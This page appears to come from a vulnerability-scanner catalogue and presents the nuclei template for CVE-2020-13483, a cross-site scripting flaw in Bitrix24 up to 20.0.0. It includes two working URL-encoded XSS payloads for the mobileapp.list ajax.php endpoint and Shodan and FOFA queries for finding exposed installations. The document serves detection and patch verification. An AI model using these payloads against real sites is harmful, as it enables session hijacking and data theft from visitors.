Bitrix24 <=20.0.0 - Cross-Site Scripting

mediumseverity

6.1CVSS score

4.5%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to a patched version of Bitrix24 (version >20.0.0) to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=t…
Positive when: contains(header, "text/html") and status_code == 200 and contains_any(body, "__MobileAppList(){alert(1)}", "__MobileAppList(test){alert(document.domain)") and contains_all(body, "mobileAppListParams"…

Run it with nuclei: nuclei -id CVE-2020-13483 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-13483

info:
  name: Bitrix24 <=20.0.0 - Cross-Site Scripting
  author: pikpikcu,3th1c_yuk1,s4e-io
  severity: medium
  description: |
    The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Bitrix24 (version >20.0.0) to mitigate this vulnerability.
  reference:
    - https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558
    - https://twitter.com/brutelogic/status/1483073170827628547
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13483
    - https://github.com/afinepl/research
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13483
    cwe-id: CWE-79
    epss-score: 0.04511
    epss-percentile: 0.91596
    cpe: cpe:2.3:a:bitrix24:bitrix24:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: bitrix24
    product: bitrix24
    shodan-query: http.html:"/bitrix/"
    fofa-query: body="/bitrix/"
  tags: cve2020,cve,xss,bitrix,bitrix24,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=<a+href="/*">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>'
      - '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E'

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "text/html")'
          - 'status_code == 200'
          - 'contains_any(body, "__MobileAppList(){alert(1)}", "__MobileAppList(test){alert(document.domain)")'
          - 'contains_all(body, "mobileAppListParams", "ajaxUrl", "bitrix")'
        condition: and

References

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